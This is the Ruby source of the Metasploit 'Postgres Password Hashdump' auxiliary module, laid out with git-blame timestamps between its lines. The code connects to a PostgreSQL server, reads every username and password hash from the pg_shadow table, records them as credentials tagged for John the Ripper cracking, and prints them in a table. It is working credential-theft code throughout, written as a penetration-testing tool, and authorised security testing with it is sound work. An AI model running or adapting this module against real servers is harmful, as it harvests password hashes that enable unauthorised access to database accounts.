2011-10-10 17:05:01 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-10 17:05:01 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2011-10-10 17:05:01 +00:00
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
include Msf::Auxiliary::Scanner
|
2024-02-12 11:52:48 +00:00
|
|
|
include Msf::OptionalSession::PostgreSQL
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
def initialize
|
|
|
|
|
super(
|
|
|
|
|
'Name' => 'Postgres Password Hashdump',
|
|
|
|
|
'Description' => %Q{
|
|
|
|
|
This module extracts the usernames and encrypted password
|
2011-11-20 13:12:07 +11:00
|
|
|
hashes from a Postgres server and stores them for later cracking.
|
2011-10-10 17:05:01 +00:00
|
|
|
},
|
2012-09-19 21:46:14 -05:00
|
|
|
'Author' => ['theLightCosine'],
|
2024-02-19 10:34:16 +00:00
|
|
|
'License' => MSF_LICENSE
|
2011-10-10 17:05:01 +00:00
|
|
|
)
|
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2024-01-24 13:47:22 +00:00
|
|
|
def username
|
|
|
|
|
session ? session.client.params['username'] : datastore['USERNAME']
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def database
|
|
|
|
|
session ? session.client.params['database'] : datastore['DATABASE']
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2024-01-24 13:47:22 +00:00
|
|
|
def password
|
|
|
|
|
# The session or its client doesn't store the password
|
|
|
|
|
session ? nil : datastore['PASSWORD']
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
self.postgres_conn = session.client if session
|
2015-04-03 16:12:23 +05:00
|
|
|
# Query the Postgres Shadow table for username and password hashes and report them
|
2011-10-10 17:05:01 +00:00
|
|
|
res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-06-23 12:02:39 -05:00
|
|
|
service_data = {
|
2024-02-19 10:57:53 +00:00
|
|
|
address: postgres_conn.peerhost,
|
|
|
|
|
port: postgres_conn.peerport,
|
2014-06-23 12:02:39 -05:00
|
|
|
service_name: 'postgres',
|
|
|
|
|
protocol: 'tcp',
|
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
|
origin_type: :service,
|
2024-01-24 13:47:22 +00:00
|
|
|
private_data: password,
|
2014-06-23 12:02:39 -05:00
|
|
|
private_type: :password,
|
2024-01-24 13:47:22 +00:00
|
|
|
username: username,
|
2014-07-10 14:30:25 -05:00
|
|
|
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
|
2024-01-24 13:47:22 +00:00
|
|
|
realm_value: database
|
2014-06-23 12:02:39 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
|
|
|
|
|
2015-04-03 16:12:23 +05:00
|
|
|
# Error handling routine here, borrowed heavily from todb
|
2011-10-10 17:05:01 +00:00
|
|
|
case res.keys[0]
|
|
|
|
|
when :conn_error
|
2017-07-21 07:40:08 -07:00
|
|
|
print_error("A Connection Error Occurred")
|
2011-10-10 17:05:01 +00:00
|
|
|
return
|
|
|
|
|
when :sql_error
|
2014-06-23 12:02:39 -05:00
|
|
|
# We know the credentials worked but something else went wrong
|
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
login_data = {
|
|
|
|
|
core: credential_core,
|
|
|
|
|
last_attempted_at: DateTime.now,
|
2014-07-16 21:52:08 -05:00
|
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
2014-06-23 12:02:39 -05:00
|
|
|
}
|
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
|
create_credential_login(login_data)
|
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
case res[:sql_error]
|
|
|
|
|
when /^C42501/
|
2024-02-19 10:57:53 +00:00
|
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Insufficient permissions."
|
2011-10-10 17:05:01 +00:00
|
|
|
return
|
|
|
|
|
else
|
2024-02-19 10:57:53 +00:00
|
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{res[:sql_error]}"
|
2011-10-10 17:05:01 +00:00
|
|
|
return
|
|
|
|
|
end
|
|
|
|
|
when :complete
|
2014-06-23 12:02:39 -05:00
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
login_data = {
|
|
|
|
|
core: credential_core,
|
|
|
|
|
last_attempted_at: DateTime.now,
|
2014-07-16 21:52:08 -05:00
|
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
2014-06-23 12:02:39 -05:00
|
|
|
}
|
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
|
# We know the credentials worked and have admin access because we got the hashes
|
|
|
|
|
login_data[:access_level] = 'Admin'
|
|
|
|
|
create_credential_login(login_data)
|
2017-07-19 12:48:52 +01:00
|
|
|
print_good("Query appears to have run successfully")
|
2011-10-10 17:05:01 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
|
|
|
|
|
2016-08-10 13:30:09 -05:00
|
|
|
tbl = Rex::Text::Table.new(
|
2011-10-10 17:05:01 +00:00
|
|
|
'Header' => 'Postgres Server Hashes',
|
2011-11-21 15:49:57 -08:00
|
|
|
'Indent' => 1,
|
2011-10-10 17:05:01 +00:00
|
|
|
'Columns' => ['Username', 'Hash']
|
|
|
|
|
)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-06-04 12:21:49 -05:00
|
|
|
service_data = {
|
2024-02-19 10:57:53 +00:00
|
|
|
address: postgres_conn.peerhost,
|
|
|
|
|
port: postgres_conn.peerport,
|
2014-06-04 12:21:49 -05:00
|
|
|
service_name: 'postgres',
|
|
|
|
|
protocol: 'tcp',
|
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
|
}
|
|
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
res[:complete].rows.each do |row|
|
|
|
|
|
next if row[0].nil? or row[1].nil?
|
|
|
|
|
next if row[0].empty? or row[1].empty?
|
2024-03-12 16:13:04 +00:00
|
|
|
|
2011-10-10 17:05:01 +00:00
|
|
|
password = row[1]
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2024-03-12 16:13:04 +00:00
|
|
|
credential_data = {
|
|
|
|
|
origin_type: :service,
|
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
|
private_data: password,
|
|
|
|
|
username: row[0]
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if password.start_with?('md5')
|
|
|
|
|
credential_data[:private_type] = :postgres_md5
|
|
|
|
|
credential_data[:jtr_format] = 'raw-md5,postgres'
|
|
|
|
|
else
|
|
|
|
|
credential_data[:private_type] = :nonreplayable_hash
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-06-04 12:21:49 -05:00
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
login_data = {
|
|
|
|
|
core: credential_core,
|
2014-07-16 21:52:08 -05:00
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
2014-06-04 12:21:49 -05:00
|
|
|
}
|
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
|
create_credential_login(login_data)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-06-04 12:21:49 -05:00
|
|
|
tbl << [row[0], password]
|
|
|
|
|
end
|
|
|
|
|
print_good("#{tbl.to_s}")
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2024-01-24 13:47:22 +00:00
|
|
|
postgres_logout if self.postgres_conn && session.blank?
|
2011-10-10 17:05:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|